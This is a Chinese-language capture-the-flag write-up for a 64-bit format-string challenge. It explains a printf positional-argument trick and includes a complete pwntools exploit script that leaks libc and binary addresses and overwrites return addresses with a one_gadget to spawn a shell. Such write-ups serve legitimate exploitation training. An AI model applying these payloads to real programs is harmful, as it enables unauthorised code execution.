fmt
题目结构很简单,一个裸的64位非栈空间的格式化字符串,开局给了栈地址后2位,没有溢出,没有canary
,退出使用_exit()
来防止fini_array
利用。
int __cdecl __noreturn main(int argc, const char **argv, const char **envp)
{
__int64 savedregs; // [rsp+10h] [rbp+0h] BYREF
setbuf(stdin, 0LL);
setbuf(stdout, 0LL);
setbuf(stderr, 0LL);
printf("Gift: %x\n", (unsigned __int16)((unsigned __int16)&savedregs - 12));
read(0, buf, 0x100uLL);
printf(buf);
_exit(0);
}
按照格式化字符串解题的惯例,我们需要在第一次的格式化字符串时,修改程序流,使得实现多次格式化字符串利用。
然而这里并没有exit(0)
函数可以利用,只有_exit(0)
,这样会直接syscall
退出程序,并不能走fini_array
。
这里要利用到格式化字符串的一个小技巧
格式化字符串冷知识
格式化字符串时,使用$时会使得printf
函数记录相关地址信息(未查询到相关文档),这使得我们不能在一次printf
利用中做到对同一个地址的修改+利用
如栈空间上有以下结构
- XXX
- YYY
- ZZZ
- QQQ
- A → B → C
- B → C
- C
- D
如果我们使用类似%xxxc%6$hhn%6$p
的payload,意图将第二个参数B地址中的值改为D后并打印B中的值(希望打印D)
实际上第一步确实可以修改成功,可以得到 6. B → D ,然而随后的%2$p
依然会打印C,这是因为在第一次使用$
时就是C
如果我们需要达成目标,则需要类似%c%c%c%c%{xxx-4}c%hhn%6$p
这样的payload,运行的结果将会打印D出来。
相关参考题目 https://violenttestpen.github.io/ctf/pwn/2021/06/06/zh3r0-ctf-2021/
回到题目
有了以上思路后,题目就简单多了,我们可以一次利用链式修改printf
函数返回地址并泄露地址,之后将main
函数的返回地址__libc_start_main+243
一步步链式修改为one_gadget
,之后将printf
返回地址改为类似pop r13;pop r14;pop r15;ret
即可.
#!/usr/bin/env python
# -*- coding: utf-8 -*-
from pwn import *
context(arch="amd64")
# context.log_level = "debug"
local = 1
_elf = "./fmt"
_addr = ""
_port = 0
_libc = "/home/osboxes/Desktop/glibc-all-in-one/libs/2.31-0ubuntu9_amd64/libc.so.6"
def getConn():
if local == 1:
# return process(_elf)
return process(
[
"/home/osboxes/Desktop/glibc-all-in-one/libs/2.31-0ubuntu9_amd64/ld-linux-x86-64.so.2",
_elf,
],
env={
"LD_PRELOAD": "/home/osboxes/Desktop/glibc-all-in-one/libs/2.31-0ubuntu9_amd64/libc.so.6 "
},
)
else:
return remote(_addr, _port)
def debug(p, cmd=None):
if local == 1:
gdb.attach(p, cmd)
pause()
elf = ELF(_elf)
libc = ELF(_libc)
p = getConn()
p.recvuntil(b"Gift: ")
gift = p.recv(4)
gift = int(gift, base=16)
log.info(hex(gift))
ret_addr = gift + 0xC + 0x8
printf_ret_addr = ret_addr - 0x20
log.info("ret_addr ->" + hex(ret_addr))
log.info("printf_ret_addr ->" + hex(printf_ret_addr))
ogg = [
348041, 348053, 348074, 348082, 553667, 553680, 553692, 553705, 944878, 944881, 944884, 945379, 945382, 945497, 945504, 945573, 945581, 1090970, 1090978, 1090983, 1090993
]
payload1 = f"%c%c%c%c%c%c%c%c%c%{printf_ret_addr-9}c%hn"
payload2 = f"%{(0x23-printf_ret_addr+0x10000)%0x100}c%38$hhn"
payload4 = f"#%9$p#%13$p#"
payload = payload1 + payload2 + payload4
debug(p, "b printf\nc")
p.send(payload.ljust(0x100, "\0"))
sleep(0.1)
p.recvuntil(b"#0x")
libc_base = int(p.recv(12), 16) - 243 - libc.sym["__libc_start_main"]
log.info(hex(libc_base))
p.recvuntil(b"#0x")
elf_base = int(p.recv(12), 16) - 0x11A9
log.info(hex(elf_base))
ogg = libc_base + ogg[1]
log.info("one_gadget ->" + hex(ogg))
pop_13_14_15_ret = 0x12BE + elf_base
for i in range(3):
content = (ogg >> (i * 8)) & 0xFF
log.info(hex(content))
payload5 = f"%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%{0x23-36+0x100}c%hhn"
payload6 = f"%{(ret_addr+i-0x123)}c%25$hn#"
payload7 = f"%{(content-0x23+0x100)%0x100}c%40$hhn#"
p.sendafter("#", (payload5 + payload6).ljust(0x100, "\0"))
p.sendafter("#", (payload5 + payload7).ljust(0x100, "\0"))
payload8 = f"%{pop_13_14_15_ret&0xffff}c%38$hn".ljust(0x100, "\0")
p.sendafter("#", payload8)
p.interactive()